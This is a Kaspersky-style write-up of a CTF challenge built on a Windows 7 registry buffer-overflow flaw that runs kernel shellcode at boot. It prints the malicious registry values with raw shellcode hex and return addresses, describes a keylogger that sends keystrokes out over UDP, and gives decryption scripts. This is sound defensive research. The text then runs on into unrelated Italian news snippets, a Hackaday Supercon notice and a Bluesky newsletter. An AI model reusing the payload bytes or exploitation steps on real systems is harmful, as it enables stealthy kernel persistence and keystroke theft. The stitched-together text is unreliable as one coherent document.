On May 18, 2024, Kaspersky’s Global Research & Analysis Team (GReAT), with the help of its partners, held the qualifying stage of the SAS CTF, an international competition of cybersecurity experts held as part of the Security Analyst Summit conference. More than 800 teams from all over the world took part in the event, solving challenges based on real cases that Kaspersky GReAT encountered in its work, but a couple of challenges remained unsolved. One of those challenges was based on a security issue that allows kernel shellcode to be hidden in the system registry and executed during system boot on a fully updated Windows 7/Windows Server 2008 R2 due to an incomplete fix for the CVE-2010-4398 vulnerability. Although security updates and technical support for Windows 7 ended in early 2020, the fact that the released patch only partially addressed the issue was known long before that, and we saw this flaw exploited in a targeted attack in 2018. At the time, we notified Microsoft about the in-the-wild exploitation, but Microsoft refused to address it because using this technique requires attackers to have administrator privileges. In this blog post, we will provide technical details about this flaw and the SAS CTF task based on it.
Vulnerability details
There is a design flaw in older versions of Windows operating systems (Windows NT 4.0 through Windows 7) that allows a kernel shellcode to persist and be launched at system boot by writing specially crafted data to some of the many locations in the system registry.
Windows Kernel API has a function called RtlQueryRegistryValues that can be used to query multiple values from the registry subtree with a single call. NTSYSAPI NTSTATUS RtlQueryRegistryValues( [in] ULONG RelativeTo, [in] PCWSTR Path, [in, out] PRTL_QUERY_REGISTRY_TABLE QueryTable, [in, optional] PVOID Context, [in, optional] PVOID Environment );
RtlQueryRegistryValues syntax
The values to be queried by this function are defined by the QueryTable parameter, which contains a pointer to a table consisting of _RTL_QUERY_REGISTRY_TABLE structures. typedef struct _RTL_QUERY_REGISTRY_TABLE { PRTL_QUERY_REGISTRY_ROUTINE QueryRoutine; ULONG Flags; PWSTR Name; PVOID EntryContext; ULONG DefaultType; PVOID DefaultData; ULONG DefaultLength; } RTL_QUERY_REGISTRY_TABLE, *PRTL_QUERY_REGISTRY_TABLE;
_RTL_QUERY_REGISTRY_TABLE structure definition
Each table entry defines the name of the value to query, its default type (e.g., REG_NONE, REG_BINARY, REG_DWORD, REG_SZ etc.; this is optional) and default data, the address of the buffer to store the value or the address of the callback function, and flags that control how to query this value.
One of the supported flags, RTL_QUERY_REGISTRY_DIRECT, causes RtlQueryRegistryValues not to execute a callback function (pointed to by the entry’s QueryRoutine field), but to store the queried value directly to the provided buffer (pointed to by the entry’s EntryContext field).
While writing data directly to the provided buffer instead of executing a callback may be more convenient, it leads to unexpected consequences if the requested value in the registry is for some reason of an unexpected type. For instance, if the code expects a value of type REG_DWORD, which has a fixed size of four bytes, but receives a value of type REG_BINARY, which is variable in size, the value may not fit fully into the prepared buffer. As a result, if RtlQueryRegistryValues returns more data than the calling function expected, a buffer overflow occurs that can be easily exploited on Windows 7 and older systems because of the lack of stack cookies.
To address this issue, Microsoft has implemented and encouraged developers to use an additional flag, RTL_QUERY_REGISTRY_TYPECHECK, which is intended to be used in conjunction with the RTL_QUERY_REGISTRY_DIRECT flag to check that the type of the requested value matches the type expected by the caller.
Note from RtlQueryRegistryValues documentation
However, this is by no means a complete fix, and for Windows 7 Microsoft itself started using the new flag only where it was absolutely necessary to address possible privilege escalation vulnerabilities. As for the vulnerable registry/code paths that could be accessed with admin rights, they were not patched, giving attackers the opportunity to stealthily store and execute kernel shellcode.
In one of the attacks, we observed an APT actor using two DirectX drivers for exploitation – “dxgmms1.sys” and “dxgkrnl.sys” – but a quick look revealed about a dozen vulnerable drivers included in the Windows 7/Windows Server 2008 R2 base package.
Exploitation
To execute kernel shellcode, attackers exploit multiple stack buffer overflows in two drivers using the RtlQueryRegistryValues function. This is done in two stages.
In the first stage, attackers exploit the insecure use of the RtlQueryRegistryValues function in the “dxgmms1.sys” driver. The vulnerable code queries several registry values from the path “HKLM\SYSTEM\ControlSet001\Control\GraphicsDrivers\MemoryManager”, and making these registry entries bigger than expected results in several buffer overflows. Attackers can use this to write the shellcode to a fixed location in the kernel memory at the address 0xfffff78000000800, which is an address of the KUSER_SHARED_DATA structure + 0x800.
Exploitation of “dxgmms1.sys” driver
In the second stage, attackers exploit the insecure use of the RtlQueryRegistryValues function in the “dxgkrnl.sys” driver – the registry values used by the vulnerable code are located at “HKLM\SYSTEM\ControlSet001\Control\GraphicsDrivers”. This allows attackers to overwrite the return address of one of the called functions with an address of 0xfffff78000000800, resulting in the execution of the shellcode written in the first stage of exploitation.
Exploitation of ” dxgkrnl.sys” driver
All registry values used during exploitation are expected to be of type REG_DWORD, but the attackers have set them to malicious values of type REG_SZ/REG_BINARY. Since the SYSTEM hive is explicitly trusted, the data type mismatch is ignored and this results in successful exploitation.
The SAS CTF challenge
The beginning
You are presented with a README.txt note and three other files: README.txt SOFTWARE SYSTEM traffic.pcapng The SOFTWARE and SYSTEM files are what they are supposed to be, and are the registry hives of a Windows system. $ file * README.txt: ASCII text SOFTWARE: MS Windows registry file, NT/2000 or above SYSTEM: MS Windows registry file, NT/2000 or above traffic.pcapng: pcapng capture file - version 1.0 Now, our first goal would be to find the piece of registry that is causing the VM to crash. This can be done in several ways, such as trying to find a piece of executable code in the registry hives (there is a NOP sled at offset 0x92D675 in the SYSTEM hive). But let’s try to reproduce the crash instead.
Identifying the VM and the OS
We are going to use regipy to parse and dump the registry hives. By dumping the SYSTEM hive, we can easily recognize the VirtualBox devices: $ regipy-dump -d SYSTEM | grep VBo "subkey_name": "VBoxWddm", "path": "\\ControlSet001\\services\\eventlog\\System\\VBoxWddm", "subkey_name": "VBoxGuest", "path": "\\ControlSet001\\services\\VBoxGuest", "path": "\\ControlSet001\\services\\VBoxMouse\\DriverInfo", "subkey_name": "VBoxMouse", ... Just to be sure, we can even find the right version of the VirtualBox additions package, which is 6.1.46: $ regipy-dump SOFTWARE -p '\Microsoft\Windows\CurrentVersion\Uninstall' | grep racle "subkey_name": "Oracle VM VirtualBox Guest Additions", "path": "\\Oracle VM VirtualBox Guest Additions", "value": "Oracle VM VirtualBox Guest Additions 6.1.46", "value": "C:\\Program Files\\Oracle\\VirtualBox Guest Additions\\uninst.exe", "value": "Oracle Corporation", We also can identify the exact Windows build to run, which turns out to be Windows 7 SP1 x64: $ regipy-plugins-run -p winver_plugin -o output.txt SOFTWARE && cat output.txt Loaded 52 plugins INFO:regipy.plugins.software.winver:Started winver Plugin... Finished: 1/52 plugins matched the hive type { "winver_plugin": { "\\Microsoft\\Windows NT\\CurrentVersion": { "last_write": "2024-05-13T23:45:33.125000+00:00", "CurrentVersion": "6.1", "CurrentBuild": "7601", "InstallDate": "2024-05-13 05:14:05", "RegisteredOrganization": 0, "RegisteredOwner": "user", "InstallationType": "Client", "EditionID": "Enterprise", "ProductName": "Windows 7 Enterprise", "ProductId": "00392-918-5000002-85992", "CurrentBuildNumber": "7601", "BuildLab": "7601.win7sp1_gdr.130828-1532", "BuildLabEx": "7601.18247.amd64fre.win7sp1_gdr.130828-1532", "CSDVersion": "Service Pack 1" } } Now let’s grab a Windows 7 SP1 VM or install a fresh one in a VirtualBox VM. While the VM is booting, let’s also build a timeline of the registry hive that we may need later: $ regipy-dump -t -o timeline-system.txt SYSTEM Now download your favorite Live CD (for example, a vanilla Ubuntu Desktop ISO that we’ll boot to transplant the registry hives into the Windows system).
Install the VirtualBox guest additions from the official ISO to match what was installed in the original system. The clues in the README note (video driver!), the list of installed drivers and the shimcache (try “regipy-plugins-run -p shimcache -o output.txt SYSTEM && cat output.txt”, it will mention running dxdiag.exe) suggest that the system should be configured with Direct3D support, and this is crucial to triggering the exploit.
Once installed, “dxdiag.exe” should show “Enabled” for Direct3D on the VM:
Set up the debugger
Before we continue, let’s turn on kernel debugging inside the VM. Since we know there should be a BSOD, we will need it. You can also do this later by backing up the original registry hives to boot into the system and run the proper commands. bcdedit /debug on bcdedit /bootdebug {current} on bcdedit /dbgsettings serial debugport:*port number* baudrate:115200 We will also set up a second Windows VM with the Windows Debugger and connect it to our target VM using a pipe-based virtual COM port. Start WinDbg on the debugger system (“Kernel Debug”), reboot the VM and you should see the kernel debugger connect. If not, check the COM port connection between the machines. It is also possible to use the host machine to run the debugger.
Crash!
Once it is working, replace the SOFTWARE and SYSTEM hives. Back up the original files, copy the hives (drag and drop, or via a share) to the VM and reboot into a Live CD, mount the NTFS volume, then copy the hives to “mountpoint/Windows/System32/config/”. Reboot and you should get an infinite BSOD loop/connection to the debugger.
Without the debugger it looks like this:
With the debugger, WinDbg output looks like this:
Analyzing the crash
We need to investigate this crash. Now, we can either extract the crash dump and inspect it offline, or debug live with our debugger machine (host, or a second VM) – let’s continue with the latter course. Make sure you can download the correct symbols, set up the symbol path, and execute “.reload /f” in WinDbg to force the download.
By inspecting the addresses on the stack around the stack pointer we can find an address inside “dxgkrnl”:
Further on in the stack we see the return addresses from nt!ObCreateObject:
Now we have a choice: either analyze the vulnerability in dxgkrnl and dxgmms1 until we understand exactly what is happening, or take a more hacky route, guided by the task note (“I tried to fix the registry but now it bluescreens all the time”):
check the memory around the crash pointer. At the address +0x800 from the crash site you can clearly see a shellcode that doesn’t belong to any module and can be analyzed;
search for the crash pointer address in the registry, using the timeline we generated and looking for “recent” changes. $ grep -i fffff78000000000 timeline-system.txt
Nothing. Let’s reverse the byte order (it may be a binary string, little endian): $ grep -i 0000000080f7ffff timeline-system.txt 2024-05-16 13:39:56.411698+00:00,\ControlSet001\Control\GraphicsDrivers,5,"[Value(name ='DxgKrnlVersion', value=8197, value_type='REG_DWORD', is_corrupted=False), Value(name='UseXPModel', value=0, value_type='REG_DWORD', is_corrupted=False), Value(name='TdrLevel', value='00000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000080f7ffff', value_type='REG_BINARY', is_corrupted=False), Value(name='TdrDdiDelay', value='03000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000080f7ffff', value_type='REG_BINARY', is_corrupted=False), Value(name='TdrDebugMode', value='02000000000000000500000000000000030000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000 0000000000000080f7ffff', value_type='REG_BINARY', is_corrupted=False)]" 2024-05-16 13:41:27.599198+00:00,\ControlSet002\Control\GraphicsDrivers,5,"[Value(name ='DxgKrnlVersion', value=8197, value_type='REG_DWORD', is_corrupted=False), Value(name='UseXPModel', value=0, value_type='REG_DWORD', is_corrupted=False), Value(name='TdrLevel', value='00000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000080f7ffff', value_type='REG_BINARY', is_corrupted=False), Value(name='TdrDdiDelay', value='03000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000080f7ffff', value_type='REG_BINARY', is_corrupted=False), Value(name='TdrDebugMode', value='02000000000000000500000000000000030000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000 0000000000000080f7ffff', value_type='REG_BINARY', is_corrupted=False)]" Now there are three registry values that contain the crash address (“TdrDdiDelay”, “TdrDebugMode” and “TdrLevel”), and these *could* be controlling the return address of a dxgkrnl driver’s routine. Let’s see if the location of the shellcode can also be found in the registry: $ grep -i 0008000080f7ffff timeline-system.txt 2024-05-16 12:30:09.856290+00:00,\ControlSet001\Control\GraphicsDrivers\MemoryManager, 6,"[Value(name='PinnedMemoryLimit', value='9cffffff00000000000000000000000000', value_type='REG_BINARY', is_corrupted=False), Value(name='PagesHistory', value='00000000000000000000000004000000040000000000000038ffffff', value_type='REG_BINARY', is_corrupted=False), Value(name='NbDmaBufferLimitPerDevice', value='000000020000000000000080000000000008000080f7ffff', value_type='REG_BINARY', is_corrupted=False), Value(name='UseUnreset', value='01000000000000000100000000000000010000000000000000000000000000000a00 0000000000000f0000000000000005000000000000002c01000000008000000010003c00000 000008000020000003c000000000000003c0000000100000058020000000400000200000000 00000200000000400000000000000000000000', value_type='REG_BINARY', is_corrupted=False), Value(name='NbPagingHistoryRecords', value='504889e141574156415541544883ec20e80d0000004883c420415c415d415e415fc3 48895c2408488974241048897c24185541544155415641574889e54883ec7065488b1425380 0000031c04989cc8d4828488d7dd0f3aa0fb77a06b80000ffffc1e7104821c78b420848c1e0 204809c70fb7022500f00000be000500004809', value_type='REG_SZ', is_corrupted=False), Value(name='Control', value='9d180bde5b394ac1244ebafbe47cf4fbf43309b5904beb0d6310dbbf7d574f317f52 a769b63bf326c24e397139d8b483349d6eb17aef6d4eb96ede7f7ed05231aa35d61ed118cf7 3f7b5146844f37dfb385dea883a3c70b48b14404a5a1a2544124d3ac3a634284ec34565f6a9 16e9de35cef1919d4cad6e6925e7f30ecadf83', value_type='REG_SZ', is_corrupted=False)]" 2024-05-16 12:30:09.856290+00:00,\ControlSet002\Control\GraphicsDrivers\MemoryManager, 6,"[Value(name='PinnedMemoryLimit', value='9cffffff00000000000000000000000000', value_type='REG_BINARY', is_corrupted=False), Value(name='PagesHistory', value='00000000000000000000000004000000040000000000000038ffffff', value_type='REG_BINARY', is_corrupted=False), Value(name='NbDmaBufferLimitPerDevice', value='000000020000000000000080000000000008000080f7ffff', value_type='REG_BINARY', is_corrupted=False), Value(name='UseUnreset', value='01000000000000000100000000000000010000000000000000000000000000000a00 0000000000000f0000000000000005000000000000002c01000000008000000010003c00000 000008000020000003c000000000000003c0000000100000058020000000400000200000000 00000200000000400000000000000000000000', value_type='REG_BINARY', is_corrupted=False), Value(name='NbPagingHistoryRecords', value='504889e141574156415541544883ec20e80d0000004883c420415c415d415e415fc3 48895c2408488974241048897c24185541544155415641574889e54883ec7065488b1425380 0000031c04989cc8d4828488d7dd0f3aa0fb77a06b80000ffffc1e7104821c78b420848c1e0 204809c70fb7022500f00000be000500004809', value_type='REG_SZ', is_corrupted=False), Value(name='Control', value='9d180bde5b394ac1244ebafbe47cf4fbf43309b5904beb0d6310dbbf7d574f317f52 a769b63bf326c24e397139d8b483349d6eb17aef6d4eb96ede7f7ed05231aa35d61ed118cf7 3f7b5146844f37dfb385dea883a3c70b48b14404a5a1a2544124d3ac3a634284ec34565f6a9 16e9de35cef1919d4cad6e6925e7f30ecadf83', value_type='REG_SZ', is_corrupted=False)]" Indeed, the “NbDmaBufferLimitPerDevice” value contains exactly that address. We suggest actually analyzing the drivers and finding out where exactly these registry values come into action and control the creation of a UNICODE_STRING object that then leads to a memory copy to a fixed kernel address and then a return to that address.
Just to check this, let’s edit the registry values “TdrDdiDelay”, “TdrDebugMode” and “TdrLevel” in the key “\\ControlSet001\\Control\\GraphicsDrivers” and change the sequence “0000000080f7ffff” to “0008000080f7ffff”. This can be done, for example, by temporarily restoring the original “SYSTEM” hive (Live CD), booting the system, editing the “malicious” hive with regedit (“Load hive”) and then moving it back (Live CD).
Now we can set a breakpoint at the beginning of the shellcode and get a hit on reboot:
Dump the memory page and analyze it statically, or continue in the debugger to find out its purpose. Although you can tinker with the registry hive and transplant only parts of it to make the OS boot without any errors, it is also possible to continue the analysis statically, using the debugger for support (required).
The shellcode
Analyzing the shellcode from the beginning leads us to a function @0x717 that starts a system thread, the thread routine @0x269. API names are resolved by hashes, so we need to step through them in the debugger or resolve them using a script. The decompiled shellcode is shown below.
The two-QWORD array is filled with the two arguments of the “RealMain_717” routine and is then used by the thread routine: the bytes from this pointer are copied until a sequence of 0xC3, 0xCC, 0xCC is encountered. The loop extracts the bytes until the end of some function (pointed to by param_2 or RealMain_717):
The copied bytes are then modified (two DWORDs set to zero), and encrypted with the output of an LCG pre-seeded with the first DWORD of the code sequence, XORed with 0x150D.
The code then uses RtlQueryRegistryValues to read “CurrentControlSet\Control\GraphicsDrivers\MemoryManager”, value “Control”, and decrypts the registry value using the output of the LCG and the encrypted code sequence from the previous piece of code:
So decryption is only possible if the original byte sequence is known (the length of the key is unknown, and brute-forcing the LCG would not help). The address of the correct code sequence can be extracted from the debugger.
Booting with the shellcode
Although replacing the SYSTEM and SOFTWARE hives may get you past the first BSOD, the system will most likely still crash. To actually have a bootable system (and since we know the registry keys that trigger execution), it makes sense to transplant only the correct registry keys:
boot in a normal installation of Windows 7 SP1 amd64, mount the SYSTEM hive with Regedit;
save the registry key from the mounted hive and then restore it to the target registry location:
>reg save *mountpoint*\ControlSet001\Contro l\GraphicsDrivers c:\dump.reg The operation completed successfully.
>reg restore HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\ GraphicsDrivers c:\dump.reg The operation completed successfully.Now it is possible to boot the system, debug the shellcode, and figure out the bytes required for decryption. By setting a breakpoint at offset 0xA4 in the shellcode, we can trace the correct address:
The original source bytes to be modified and hashed are located in dxgkernel.sys: 0x48, 0x83, 0xec, 0x28, 0x80, 0x3d, 0x24, 0xee, 0xf9, 0xff, 0x00, 0x75, 0x13, 0x33, 0xc9, 0xc6, 0x05, 0x19, 0xee, 0xf9, 0xff, 0x01, 0xe8, 0x19, 0x7d, 0x00, 0x00, 0xe8, 0x5c, 0xdf, 0x00, 0x00, 0x33, 0xc0, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc The modification of DWORDs at offsets 0x5 and 0x11 removes relocatable parts.
Decrypting the second stage
Let’s dump the “Control” registry value: from regipy.registry import RegistryHive reg = RegistryHive('SYSTEM') with open('Control','wb') as f: f.write(reg.get_key('\\ControlSet001\\Control\\GraphicsDrivers\\MemoryManag er').get_value('Control')) The resulting file should be 10848 bytes long and have the following MD5 checksum: 33030a6f336d589eaf16856bdf65ab01 Control By implementing the decryption algorithm the same way as in the shellcode, and using the correct bytes from dxgkrnl, we are able to decrypt the second stage: import struct bytes_to_hash = bytearray([0x48, 0x83, 0xec, 0x28, 0x80, 0, 0, 0, 0, 0xff, 0x00, 0x75, 0x13, 0x33, 0xc9, 0xc6, 0x05, 0, 0, 0, 0, 0x01, 0xe8, 0x19, 0x7d, 0x00, 0x00, 0xe8, 0x5c, 0xdf, 0x00, 0x00, 0x33, 0xc0, 0x48, 0x83, 0xc4, 0x28, 0xc3]) seed = struct.unpack('<L', bytes_to_hash[0:4])[0] ^ 5389 for i in range(len(bytes_to_hash)): seed=((seed * 1664525) + 1013904223) & 0xffffffff bytes_to_hash[i] ^= (seed >> 16) & 0xFF with open('Control', 'rb') as f: control=bytearray(f.read()) for i in range(len(control)): seed=((seed * 1664525) + 1013904223) & 0xffffffff control[i] ^= bytes_to_hash[i%len(bytes_to_hash)] ^ ((seed >> 16) & 0xFF) with open('Control.dec', 'wb') as f: f.write(control) The resulting file should have the following MD5 checksum: fb9dfb839d28bf0780ba534d381c294c Control.dec Since the second stage is also a shellcode, let’s see what’s in there.
The second stage
The shellcode of the second stage can be recognized as multi_arch_kernel_queue_apc.asm with minor modifications. Once recognized, there is no need to analyze the code because its only purpose is to inject a usermode APC with the payload. One detail worth mentioning is that the hashed name of the target process is “vboxtray.exe” (hash value 0x21B5C5E1).
The shellcode is appended with a WORD value equal to the length of the usermode payload, followed by the payload itself. So, by searching for the loader’s ending opcodes, we can locate the usermode payload:
Let’s extract and check the contents of this payload. b5a958164178bda276c46e83eb1885e2 usermode_payload
Usermode payload
The usermode part injected as an APC starts with a DLL loader generated by the sRDI (“shellcode reflective DLL injection”) toolkit. This is a common piece of code that usually requires no additional analysis, so for now let’s focus on its payload – the DLL appended to the shellcode.
The library has the following characteristics:
Link time
2024-05-16 11:52:51 (GMT)
Linker version
AMD64 Windows Console DLL
Size
7207
Internal name
keylogger.dll
The library’s entry point simply executes a call to OutputDebugString that can be used for live debugging:
The only export “Hook” that is triggered by the reflective loader also produces a debug string, loads system libraries, and creates a thread. In this thread, the module first resolves API addresses by their hashes and then sets up a typical keylogger Windows hook (WH_KEYBOARD_LL):
The hook procedure is the most important here: it collects WM_KEYDOWN events in a buffer, encrypts them with RC4, and then sends them via UDP. The RC4 key is built from a MachineGuid and a fixed binary string:
Now that we know the business logic of the module, it is time to look at the network dump (traffic.pcapng):
Let’s collect all the UDP packets on port 53 and decrypt them: from scapy.all import * from regipy.registry import RegistryHive from Crypto.Cipher import ARC4
capture=b'' for packet in PcapReader('traffic.pcapng'): if UDP in packet and packet[UDP].dport == 53: ct = decrypt_payload(bytes(packet[UDP].payload)) capture += ct print(capture) A test run produces promising results, but there are low-level hook control sequences that should be handled correctly: b'NOTE\xa0PLAN FOR TODAY\r\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb \xbb\x08\x08\x08\x08\r\r\xa08 S\x08FINISH THE \xa0IR TASK\r\xa08 WRIT \x08E A REPORT \r\xa08 SOLVE THE LAST \xa0SASCTF TASK \r\r\xa0\xa0\xa0\xa0\xa0\xa0\xa0OMG1 SOLVED IT\xa01\r\xa0THE FLAG IS\xa0\xba \xa0SAS\xdb1\xa0R\xbd1\xa0S\xbdT\xa0H3\xa0\xbdB3\xa0ST\xbdS0\xa0URCE\xbdOF\ xbdR3\xa0S3\xa0ARC\xa0HES\x08\x08\xa0\xdd\r\r\xa0HOE\x08PE IT WORKS\xbe\xbe\xbe\r\r\xa0WILL FINISH THE REPORT TOMORROW\xbe\xa2SPLAN\xbeTXT\r' Since the keylogger is rather limited in functionality and only records key down events, the best we can do is parse shift-downs and convert VKeys to readable chars: i = 0 final = '' mapping = { 0xbb : '=', 0xba : ':', 0x0d: '\n', 0xdb: '{', 0xdd: '}', 0xbe : '.', 0xbd: '-' } uppercases = { '1' : '!', '8' : '*', '\xbd' : '_', '\xdd' : '}', '\xba' : ':' } skip = [0xa2]while i < len(capture): b = capture [i] if b == 0xA0: # LSHIFT i += 1 c = chr(capture[i]) if c in uppercases: c = uppercases [c] elif b in mapping: c = mapping [b] else: c = chr(b).lower() i += 1 if b == 0x08: # backspace final = final[:-1] elif b not in skip: final += c print(final) As a result, we get the following output: notePlan for today ==============
* finish the Ir task * write a report * solve the last Sasctf task
Omg1 solved it! The flag is: Sas{1R-1S-tH3_b3St-s0Urce-of-r3S3ArcH}
Hope it works...
Will finish the report tomorrow.splan.txt As we can see, the flag string does not exactly match the format (“SAS{}”) because of the lack of Shift events, so we need to figure out/brute-force the final value, which turns out to be all uppercase (a lack of underscore conversion allows us to guesstimate where Shift should have been held down): SAS{1R_1S_TH3_B3ST_S0URCE_OF_R3S3ARCH}
The SAS CTF final competition
The SAS CTF doesn’t end with the last challenge of the qualifying phase. On October 22-25, the top eight teams head to Bali to face more interesting challenges. If you want to join them, see who wins in person, and attend some great cybersec presentations at the Security Analyst Summit conference, you can register here.
#PNRR, è stata pubblicata oggi la graduatoria degli interventi finanziati a seguito del bando da 515 milioni pubblicato il 29 luglio 2024 per la realizzazione e messa in sicurezza delle mense scolastiche.
#PNRR, è stata pubblicata oggi la graduatoria degli interventi finanziati a seguito del bando da 515 milioni pubblicato il 29 luglio 2024 per la realizzazione e messa in sicurezza delle mense scolastiche.
Durante l’operazione Data Breach, la polizia brasiliana ha arrestato l’hacker USDoD coinvolto nell’hacking di database nazionali e sistemi dell’FBI. L’aggressore, che opera anche sotto lo pseudonimo di EquationCorp, da diversi anni sferra attacchi informatici di alto profilo, rubando e pubblicando informazioni riservate sui forum degli hacker.
Tra i suoi attacchi più famosi c’è l’hacking del portale InfraGard, utilizzato per condividere informazioni sulle minacce informatiche tra l’FBI e organizzazioni critiche negli Stati Uniti. Un altro incidente, l’hacking National Public Data (NPD), ha fatto trapelare informazioni personali e numeri di previdenza sociale di centinaia di milioni di cittadini statunitensi. Secondo la polizia, USDoD ha distribuito i dati di 80.000 membri di InfraGard su siti web specializzati.
A seguito di questi fatti, l’editore brasiliano Techmundo ha ricevuto una segnalazione anonima che pretendeva di rivelare l’identità dell’aggressore. Nel documento si affermava che sotto lo pseudonimo USDoD si nascondeva un 33enne brasiliano di nome Luan G. Poco dopo, l’hacker stesso ha confermato in un’intervista a HackRead la correttezza di questi dati, aggiungendo che vive in Brasile. Ha anche notato che le informazioni sulla sua identità erano note a numerose aziende, inclusa Intel421, anche prima dell’attacco a InfraGard.
Probabilmente la polizia federale brasiliana ha utilizzato queste informazioni per localizzare il sospettato. L’operazione Data Breach si è conclusa con l’arresto di un hacker nella città di Belo Horizonte il 16 ottobre. Nell’ambito dell’indagine sono state condotte anche perquisizioni e sono state sequestrate prove indicanti il coinvolgimento del detenuto nella vendita di dati della Polizia federale il 22 maggio 2020 e il 22 febbraio 2022.
@Informatica (Italy e non Italy 😁) Le prime 72 ore di un attacco ransomware rappresentano un elemento critico che può condizionare tutte le successive fasi di recupero e ripristino dell'operatività, oltre al mantenimento del business. Organizzazione, comunicazione, tempestività sono elementi cardine per limitare
Un episodio curioso e preoccupante è accaduto di recente quando un uomo, visibilmente ubriaco, si è messo alla guida della sua Google Car, un veicolo che ha suscitato molteplici discussioni negli ultimi anni.
L’incidente è avvenuto a Castello d’Aviano (Pn) e ha coinvolto due persone: un 38enne di Fontanafredda, che è uscito quasi illeso, e un 57enne di Aviano. Secondo la ricostruzione dei carabinieri di Polcenigo, intervenuti per i rilievi, il conducente della Honda – che trasportava i supporti necessari per i dispositivi fotografici sul tetto, utilizzati per aggiornare le mappe stradali – ha invaso la corsia opposta mentre affrontava una curva, proprio nel momento in cui stava sopraggiungendo una Fiat Uno.
Nell’incidente il conducente ha perso il controllo del veicolo, finendo per schiantarsi contro un altro automobilista. Questo evento ha immediatamente richiamato l’attenzione delle forze dell’ordine, che sono accorse sul luogo per gestire la situazione.
Le autorità intervenute hanno trovato il conducente in stato di ebrezza (un tasso alcolemico tre volte superiore al limite consentito), a testimonianza di una notte di eccessi. Nonostante il veicolo fosse dotato di tecnologia avanzata, l’uso della Google Car non ha impedito al guidatore di commettere un grave errore di giudizio.
Dopo l’incidente, l’uomo ha mostrato comportamenti inappropriati, tra cui l’atto di urinare davanti ai carabinieri, un gesto che ha ulteriormente aggravato la sua situazione. Gli agenti hanno quindi ritenuto opportuno ritirare la patente di guida dell’uomo e denunciarlo per guida in stato di ebbrezza.
Le Google Car servono per il mapping delle strade utilizzate dal servizio Google Street View, una caratteristica di Google Maps e Google Earth che fornisce viste panoramiche a 360° in orizzontale e a 160º in verticale lungo le strade, a distanza di 10-20 metri l’una dall’altra, e permette agli utenti di vedere parti di varie città del mondo a livello del terreno.
On the brand-new Supercon page, you can find a listing of all of our fantastic speakers, the hands-on workshops, and perhaps most importantly, the schedule of when everything is happening. As always, Supercon is jam-packed with incredible content, so you’ll want to consult with the schedule to navigate your way through it. Don’t worry if it ends up that two talks you want to see are scheduled for the same time — we’ll be recording all of the talks and releasing them on the Hackaday YouTube channel, so you won’t miss out.
If you’re still on the fence, we do have a few tickets left at the time of this writing. All of the workshops are full at this point, but you can still get on the waiting list for a few of them just in case a spot opens up.
@Notizie dall'Italia e dal mondo Trump conquista crescenti consensi nelle comunità ispaniche, afroamericane e tra le altre minoranze etniche. Kamala Harris in difficoltà L'articolo STATI UNITI: Trump rimonta e scala le minoranze etniche proviene da Pagine Esteri.
@Notizie dall'Italia e dal mondo Mentre si attendono in ogni momento i raid aerei contro l'Iran, Netanyahu avrebbe accettato di ridimensionare la portata della rappresaglia israeliana anche per le pressioni delle monarchie arabe del Golfo che temono di subire le
@Notizie dall'Italia e dal mondo Il rapporto, Food Wars, ha esaminato 54 paesi colpiti dal conflitto e ha scoperto che rappresentano quasi tutti i 281,6 milioni di persone che affrontano oggi la fame acuta. L'articolo OXFAM. A causa delle guerre, ogni giorno migliaia di persone muoiono di fame
su facebook ho scritto: testuale commento: "l'alternativa alla Harris è Trump ed è terrificante". commento cancellato. che poi sono un'italiana... mica voto. ecco perché scrivo cose serie anche qua. ma è offensivo sostenere che un candidato è terrificante? pensavo fosse una legittima opinione.
Alla prima giornata a Bari di Fiera Didacta Italia edizione Puglia, il Ministro Giuseppe Valditara ha partecipato alla cerimonia di inaugurazione e ha visitato gli spazi del quartiere fieristico incontrando docenti, studenti, personale scolastico.
Chatting comes to the ATmosphere with Picosky, X is unbanned in Brazil, and a significant group of Brazilians moved back, and a deeper dive into aviary.domains.
Chatting comes to the ATmosphere with Picosky, X is unbanned in Brazil, and a significant group of Brazilians moved back, and a deeper dive into aviary.domains.
Picosky
Picosky is a new chatting service build on top of atproto. Picosky was created by Juliet, and started as an experiment with building an simple chatting app on atproto, originally limited to just 12 characters per message. It was a demonstration of making an AppView for chatting on atproto that utilises the existing infrastructure of the network: You log in with your Bluesky/atproto account, messages are stored on your PDS, and the PicoSky AppView listens to all the messages on the Relay and displays them. The direct connection of your Bluesky account made it a fun place for atproto hackers to hang out, which expanded the scope of Picosky quickly to a serious project.
Over the last week or so Picosky has undergone rapid changes by the developers Juliet and Elainya: you can log in with OAuth, the character limit got increased multiple times, now at 2048, you can edit and delete your posts, and UI updates where it is now a clear and minimalist proper chat UI.
The simple structure of Picosky, and the way that it integrates with the atproto infrastrucuture, makes Picosky an attractive place to further build on by other developers: one of the first Picosky-compatible projects to make it available via IRC. This is a separate AppView, that reads the same posts as the Picosky AppView does, and that can fully interact (federate) with each other. Other projects in the works are an iOS client or one for the terminal.
Meanwhile, the Lexicon structure (which determines the format of the messages) has had a major update the other day: there is now support for creating separate rooms on Picosky. Anyone can create rooms, and the owner of the room can set moderation to be based on a deny-list or an allow-list. The frontend has not been updated yet to take advantage of this however, but I’m sure we’ll get back to Picosky next week.
The News
It is now a week since X has been unbanned in Brazil, and a significant part of the Brazilian user base that joined Bluesky has gone back to X. Daily Active User count dropped by half, from 1.2M to 600k. This number was around 300k before the ban, indicating that a large number of Brazilians did stick around: Portuguese is still the most popular language of the platform; 45% of posts are in Portuguese, compared to 32% English posts. It shows that social networks are extremely sticky, and people have very high switching costs. In that context, Bluesky has done well with the number of Brazilian who stayed around after X became unbanned.
